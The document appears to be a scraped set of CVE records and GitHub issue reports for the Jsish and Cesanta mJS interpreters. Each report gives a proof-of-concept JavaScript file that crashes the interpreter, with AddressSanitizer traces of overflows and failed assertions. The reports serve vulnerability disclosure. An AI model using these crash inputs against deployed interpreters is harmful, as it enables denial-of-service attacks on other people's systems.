###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript (function(){ var JSEtest = 1; for (var __loopvar3 = 0; JSEtest.length < (1) && __loopvar3 < 3; JSEtest.length++ + __loopvar3++) { JSEtest = 1; } })(); ``` ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js jsish: src/jsiEval.c:1020: jsiEvalSubscript: Assertion `vp != resPtr' failed. [2] 11225 abort jsish poc.js ``` Credits: Found by hopefly from OWL337.

Assertion `vp != resPtr' failed at jsiEval.c:1020: jsiEvalSubscript.

https://api.github.com/repos/pcmacdon/jsish/issues/51/comments

2021-12-24T09:40:19Z

2022-01-12T02:02:10Z

https://github.com/pcmacdon/jsish/issues/51

CVE-2021-46505

2022-01-27T21:15:09.277

Jsish v3.5.0 was discovered to contain a stack overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5.

https://github.com/pcmacdon/jsish/issues/53

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript function JSEtest(Function) { var a = Array.prototype.push.call(a, 42, 43); } for (var i = 0; i < 25000; i++) { JSEtest(Array); } ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ASAN:DEADLYSIGNAL ================================================================= ==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0) #0 0x7f6abd3fb1e5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) #1 0x5571122680fd in Jsi_NameLookup src/jsiUtils.c:413 #2 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #3 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #4 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #5 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #6 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #7 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #8 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #9 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 ...... ...... ...... ...... ...... ...... #246 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #247 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #248 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #249 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #250 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) ==9209==ABORTING ``` Credits: Found by OWL337 team.

Stack-overflow in (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)

https://api.github.com/repos/pcmacdon/jsish/issues/53/comments

2021-12-24T09:43:02Z

2022-01-12T02:11:35Z

https://github.com/pcmacdon/jsish/issues/53

CVE-2021-46506

2022-01-27T21:15:09.323

There is an Assertion 'v->d.lval != v' failed at src/jsiValue.c in Jsish v3.5.0.

https://github.com/pcmacdon/jsish/issues/52

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript function applyTags(text, open, close, action) { var openTags = arguments; var lastOcr = text.indexOf(open), nextOpen, nextClose, iniBlock, updBlock; if (openTags.pop()) { openTags.push(lastOcr); } while (openTags.length > 0) { lastOcr = action; nextOpen = text.indexOf(open, lastOcr + open.length); nextClose = text.indexOf(close, lastOcr + open.length); } return text; } function JSEtest(text) { return text.toUpperCase(); } var text = '<lowcase> YEAH! </lowcase> Some <upcase> random <upcase> text </upcase> to </up$ text = applyTags(text, '<upcase>', '</upcase>', JSEtest); ``` ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js /home/user/poc.js:9: bug: Convert a unknown type: 0x6 to number (at or near "length") /home/user/poc.js:10: bug: Convert a unknown type: 0x6 to number (at or near "length") jsish: src/jsiValue.c:181: ValueFree: Assertion `v->d.lval != v' failed. [2] 116137 abort jsish poc.js ``` Credits: Found by OWL337 team.

Assertion `v->d.lval != v' failed at src/jsiValue.c:181: ValueFree.

https://api.github.com/repos/pcmacdon/jsish/issues/52/comments

2021-12-24T09:41:38Z

2022-01-12T02:03:28Z

https://github.com/pcmacdon/jsish/issues/52

CVE-2021-46507

2022-01-27T21:15:09.367

Jsish v3.5.0 was discovered to contain a stack overflow via Jsi_LogMsg at src/jsiUtils.c.

https://github.com/pcmacdon/jsish/issues/54

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case1 ```javascript WebSocket({ "a": 2.3023e-320 }) ``` ###### Test case2 ```javascript var JSEtest = times(function () { WebSocket({ 'red': (new Object(null % null)) }); }) < times(log(null % null)); assert.sameValue(JSEtest.length, 2, 'newArr.length'); ``` ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ASAN:DEADLYSIGNAL ================================================================= ERROR: AddressSanitizer: stack-overflow on address 0x7ffe51210dfc (pc 0x55d8eb693014 bp 0x0fffca2427b6 sp 0x7ffe51210df0 T0) #0 0x55d8eb693013 in Jsi_LogMsg src/jsiUtils.c:151 #1 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526 #2 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229 #3 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526 #4 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229 #5 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526 #6 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229 ...... ...... ...... ...... ...... ...... #246 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229 #247 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526 #248 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229 #249 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526 #250 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229 SUMMARY: AddressSanitizer: stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg ====ABORTING ``` Credits: Found by OWL337 team.

Stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg

https://api.github.com/repos/pcmacdon/jsish/issues/54/comments

2021-12-24T09:43:48Z

2022-01-12T02:11:46Z

https://github.com/pcmacdon/jsish/issues/54

CVE-2021-46508

2022-01-27T21:15:09.413

There is an Assertion `i < parts_cnt' failed at src/mjs_bcode.c in Cesanta MJS v2.20.0.

https://github.com/cesanta/mjs/issues/188

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_CLANG=clang $(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))((isNaN - 6.54321e2)(JSON.stringify([1, 2, 3]))); ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js mjs: src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t): Assertion `i < parts_cnt' failed. [1] 88797 abort mjs poc.js ``` Credits: Found by OWL337 team.

Assertion `i < parts_cnt' failed at src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t).

https://api.github.com/repos/cesanta/mjs/issues/188/comments

2021-12-31T05:23:32Z

2022-01-12T02:18:33Z

https://github.com/cesanta/mjs/issues/188

CVE-2021-46509

2022-01-27T21:15:09.460

Cesanta MJS v2.20.0 was discovered to contain a stack overflow via snquote at mjs/src/mjs_json.c.

https://github.com/cesanta/mjs/issues/200

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build steps ```bash vim Makefile DOCKER_CLANG=clang $(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))((JSON.parse - 6.5 - 321e2)(JSON.stringify([1, 2, 3]))); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js AddressSanitizer:DEADLYSIGNAL ================================================================= ==61262==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc3387c0b8 (pc 0x00000057a83c bp 0x7ffc338787d0 sp 0x7ffc33878338 T0) #0 0x57a83b in snquote /root/mjs/src/mjs_json.c:102:7 #1 0x57a83b in to_json_or_debug /root/mjs/src/mjs_json.c:167 #2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5 #3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11 #4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11 #5 0x7f82916bcb96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9) SUMMARY: AddressSanitizer: stack-overflow /root/mjs/src/mjs_json.c:102:7 in snquote ==61262==ABORTING ``` Credits: Found by OWL337 team.

Stack-overflow mjs/src/mjs_json.c:102:7 in snquote

https://api.github.com/repos/cesanta/mjs/issues/200/comments

2021-12-31T05:43:04Z

2022-01-12T02:20:01Z

https://github.com/cesanta/mjs/issues/200

CVE-2021-46510

2022-01-27T21:15:09.507

There is an Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed at src/mjs_gc.c in Cesanta MJS v2.20.0.

https://github.com/cesanta/mjs/issues/185

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc DOCKER_CLANG=clang $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (function () { ((function f(a) { if (a > 0) { if (gc(JSON.stringify({ translate: ({ enumerable: [ !Object.create ] }) })) !== f("switch(''){default:break;/*DUPTRY525*/}")('#1.1: -0 - -0 === 0. Actual: ' !== f(a - 1))) { f(a - 1) } } })(6)) })() ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js mjs: src/mjs_gc.c:354: gc_mark_string: Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed. [1] 68013 abort mjs poc.js ``` Credits: Found by OWL337 team.

Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed src/mjs_gc.c:354: gc_mark_string.

https://api.github.com/repos/cesanta/mjs/issues/185/comments

2021-12-31T05:20:39Z

2022-01-12T02:18:09Z

https://github.com/cesanta/mjs/issues/185

CVE-2021-46511

2022-01-27T21:15:09.550

There is an Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c in Cesanta MJS v2.20.0.

https://github.com/cesanta/mjs/issues/183

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (function() { ((function JSEtest(a) { if (a > 3) { if ([Object.create.apply({}, [Object])]) { JSEtest(Object.create.apply({}, [Object])) } } })(6)) })() ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js mjs: src/mjs_core.c:372: mjs_pop_val: Assertion `m->len >= sizeof(v)' failed. [1] 33895 abort mjs poc.js ``` Credits: Found by OWL337 team.

Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c:372: mjs_pop_val

https://api.github.com/repos/cesanta/mjs/issues/183/comments

2021-12-31T05:18:57Z

2022-01-12T02:17:55Z

https://github.com/cesanta/mjs/issues/183

CVE-2021-46512

2022-01-27T21:15:09.593

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_apply at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/cesanta/mjs/issues/202

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) Version: ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript ((6) - Object.apply).apply() ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==63672==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x558c2cbd497e bp 0x615000000080 sp 0x7ffc787d6e20 T0) ==63672==The signal is caused by a READ memory access. ==63672==Hint: address points to the zero page. #0 0x558c2cbd497d in mjs_apply src/mjs_exec.c:1155 #1 0x558c2cbd58d4 in mjs_apply_ src/mjs_exec.c:515 #2 0x558c2cbc9244 in mjs_execute src/mjs_exec.c:853 #3 0x558c2cbd2a05 in mjs_exec_internal src/mjs_exec.c:1073 #4 0x558c2cbd2a05 in mjs_exec_file src/mjs_exec.c:1096 #5 0x558c2cb8f909 in main src/mjs_main.c:47 #6 0x7ff8e5d7cb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x558c2cb90449 in _start (/usr/local/bin/mjs+0xe449) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:1155 in mjs_apply ==63672==ABORTING ```

SEGV src/mjs_exec.c:1155 in mjs_apply

https://api.github.com/repos/cesanta/mjs/issues/202/comments

2021-12-31T07:29:20Z

2021-12-31T07:29:20Z

https://github.com/cesanta/mjs/issues/202

CVE-2021-46513

2022-01-27T21:15:09.633

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via mjs_mk_string at mjs/src/mjs_string.c.

https://github.com/cesanta/mjs/issues/189

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_CLANG=clang $(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))((JSON.stringify + 6.54321e2)(JSON.stringify([1, 2, 3]))); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064330b at pc 0x0000005b16f4 bp 0x7ffcd99733d0 sp 0x7ffcd99733c8 READ of size 8 at 0x00000064330b thread T0 #0 0x5b16f3 in mjs_mk_string /root/mjs/src/mjs_string.c:58:15 #1 0x580796 in mjs_op_json_stringify /root/mjs/src/mjs_json.c:495:13 #2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5 #3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11 #4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11 #5 0x7f43da272b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9) 0x00000064330b is located 53 bytes to the left of global variable '<string literal>' defined in 'src/mjs_builtin.c:140:21' (0x643340) of size 4 '<string literal>' is ascii string 'ffi' 0x00000064330b is located 5 bytes to the right of global variable '<string literal>' defined in 'src/mjs_builtin.c:138:21' (0x643300) of size 6 '<string literal>' is ascii string 'print' SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/mjs_string.c:58:15 in mjs_mk_string Shadow bytes around the buggy address: 0x0000800c0610: f9 f9 f9 f9 00 00 00 00 00 00 00 05 f9 f9 f9 f9 0x0000800c0620: 00 06 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0000800c0630: 00 02 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0000800c0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0000800c0650: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 =>0x0000800c0660: 06[f9]f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 0x0000800c0670: 00 04 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 0x0000800c0680: 07 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 0x0000800c0690: 03 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 0x0000800c06a0: 04 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 0x0000800c06b0: 06 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==ABORTING ```

Global-buffer-overflow mjs/src/mjs_string.c:58:15 in mjs_mk_string

https://api.github.com/repos/cesanta/mjs/issues/189/comments

2021-12-31T05:24:24Z

2021-12-31T05:49:18Z

https://github.com/cesanta/mjs/issues/189

CVE-2021-46514

2022-01-27T21:15:09.677

There is an Assertion 'ppos != NULL && mjs_is_number(*ppos)' failed at src/mjs_core.c in Cesanta MJS v2.20.0.

https://github.com/cesanta/mjs/issues/187

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_CLANG=clang $(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (function() { ((function JSEtest(a) { if (a > 0) { if (gc(gc --gc -- !== gc(' ' !== JSEtest(a - 1)))) { JSEtest(a - 1) } } })(6)) })() ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js mjs: src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *): Assertion `ppos != NULL && mjs_is_number(*ppos)' failed. [1] 32098 abort mjs poc.js ```

Assertion `ppos != NULL && mjs_is_number(*ppos)' failed at src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *).

https://api.github.com/repos/cesanta/mjs/issues/187/comments

2021-12-31T05:22:41Z

2021-12-31T08:13:20Z

https://github.com/cesanta/mjs/issues/187

CVE-2021-46515

2022-01-27T21:15:09.723

There is an Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

https://github.com/cesanta/mjs/issues/186

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc DOCKER_CLANG=clang $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))(((JSON.stringify - (6) * 10000) - 20 * 9060)([([JSON.parse(JSON.stringify([(0)]))])])); ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js mjs: src/mjs_exec.c:949: mjs_execute: Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed. [1] 118000 abort mjs poc.js ``` Credits: Found by OWL337 team.

Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c:949: mjs_execute.

https://api.github.com/repos/cesanta/mjs/issues/186/comments

2021-12-31T05:21:24Z

2022-01-12T02:18:21Z

https://github.com/cesanta/mjs/issues/186

CVE-2021-46516

2022-01-27T21:15:09.767

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_stack_size at mjs/src/mjs_core.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/cesanta/mjs/issues/201

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_CLANG=clang $(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (function () { ((function JSEtes(a) { if (a > Object.create - (Object.create - -(a - 1) || ~(Object.create - -0))()) { if ((a - 1) || ~(Object.create - -0)) { JSEtes(a - 1) } } })(200)) })() ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js AddressSanitizer:DEADLYSIGNAL ================================================================= ==ERROR: AddressSanitizer: SEGV on unknown address 0x01827fff800a (pc 0x00000053f631 bp 0x7ffd7d96fcb0 sp 0x7ffd7d96f820 T0) ==The signal is caused by a READ memory access. #0 0x53f630 in mjs_stack_size /root/mjs/src/mjs_core.c:348:13 #1 0x53f630 in mjs_arg /root/mjs/src/mjs_core.c:326 #2 0x589a07 in mjs_op_create_object /root/mjs/src/mjs_object.c:270:23 #3 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5 #4 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11 #5 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11 #6 0x7fa839d17b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310 #7 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/mjs/src/mjs_core.c:348:13 in mjs_stack_size ==ABORTING ```

SEGV mjs/src/mjs_core.c:348:13 in mjs_stack_size

https://api.github.com/repos/cesanta/mjs/issues/201/comments

2021-12-31T07:26:25Z

2021-12-31T07:26:25Z

https://github.com/cesanta/mjs/issues/201

CVE-2021-46517

2022-01-27T21:15:09.813

There is an Assertion `mjs_stack_size(&mjs->scopes) > 0' failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

https://github.com/cesanta/mjs/issues/184

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc DOCKER_CLANG=clang $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (function() { ((function JSEtest(a) { if (a > 3) { if ([((function JSEtest(a) { if (a > 3) { if ([Object.create.apply({}, [Object])]) { Object.create.apply({}, [Object]) } } })(6))([((function JSEtest(a) { if (a > 3) { if ([Object.create.apply({}, [Object])]) { Object.create.apply({}, [Object]) } } })(6))({}, [Object])])]) { Object.create.apply({}, [Object]) } } })(6)) })() ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js mjs: src/mjs_exec.c:725: mjs_execute: Assertion `mjs_stack_size(&mjs->scopes) > 0' failed. [1] 111718 abort mjs poc.js ```

Assertion `mjs_stack_size(&mjs->scopes) > 0' failed src/mjs_exec.c:725: mjs_execute.

https://api.github.com/repos/cesanta/mjs/issues/184/comments

2021-12-31T05:19:48Z

2021-12-31T05:46:31Z

https://github.com/cesanta/mjs/issues/184

CVE-2021-46518

2022-01-27T21:15:09.857

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_disown at src/mjs_core.c.

https://github.com/cesanta/mjs/issues/195

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc DOCKER_CLANG=clang $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))(((JSON.stringify - 6.24321e2) - 6.54321e2)(JSON.stringify([1, 2, 3]))); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000138 at pc 0x563a2f179088 bp 0x7fff18d361c0 sp 0x7fff18d361b0 READ of size 8 at 0x604000000138 thread T0 #0 0x563a2f179087 in mjs_disown src/mjs_core.c:288 #1 0x563a2f1c7b54 in mjs_json_parse src/mjs_json.c:480 #2 0x7fff18d3630f (<unknown module>) Address 0x604000000138 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_core.c:288 in mjs_disown Shadow bytes around the buggy address: 0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff8000: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff8010: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 =>0x0c087fff8020: fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa 0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/mjs_core.c:288 in mjs_disown

https://api.github.com/repos/cesanta/mjs/issues/195/comments

2021-12-31T05:37:12Z

2022-01-12T02:18:56Z

https://github.com/cesanta/mjs/issues/195

CVE-2021-46519

2022-01-27T21:15:09.900

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_array_length at src/mjs_array.c.

https://github.com/cesanta/mjs/issues/194

github.com

